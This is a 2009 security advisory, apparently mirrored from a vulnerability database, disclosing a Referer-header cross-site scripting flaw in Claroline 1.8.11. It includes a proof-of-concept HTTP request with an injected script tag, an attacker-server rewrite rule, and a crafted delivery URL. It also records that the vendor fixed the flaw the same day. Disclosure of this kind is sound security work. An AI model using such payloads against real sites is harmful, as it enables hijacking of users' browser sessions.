Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21793
HistoryMay 11, 2009 - 12:00 a.m.

Claroline v.1.8.11 Cross-Site Scripting

2009-05-1100:00:00
vulners.com
18

Author: Gerendi Sandor Attila
Original Advisory: http://gsasec.blogspot.com/2009/05/claroline-v1811-cross-site-scripting.html
Date: May 05, 2009
Package: Claroline (1.8.11)
Product Homepage: http://www.claroline.net/
Versions Affected: v.1.8.11 (Other versions may also be affected)
Severity: Medium

Input passed to the 'Referer' header parameter when posting to '/claroline/linker/notfound.php' is not sanitized before it
is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Example:

GET /claroline_1_8_11/claroline/linker/notfound.php HTTP/1.0
Accept: /
Referer: "><script>alert(123)</script><a href="

There are a couple of ways to inject arbitrary text (java script in our case) in the referer header parameter. One of the
ways is using a rewrite rule on the remote attacker server. Example .htaccess file:

RewriteEngine on
RewriteRule ^referer/.*$ test.php [L]

Where the test.php file will be the container of the /claroline_1_8_11/claroline/linker/notfound.php link.

Now a request like: http://remoteatackersite/referer/?&quot;&gt;&lt;script&gt;alert&#40;123&#41;&lt;/script&gt;&lt;a&#37;20href=&quot;

will return a page from wich if we call /claroline_1_8_11/claroline/linker/notfound.php we trigger the XSS.

Note: For the first request browsers like IE are required (which does not automatically httpencode the get params)

Status:

  1. Contacted the author at: May 05, 2009 via http://forum.claroline.net/.
  2. The author promptly (same day) fixed the problem, read at:
    http://forum.claroline.net/viewtopic.php?f=69&amp;t=16193&amp;p=42102#p42099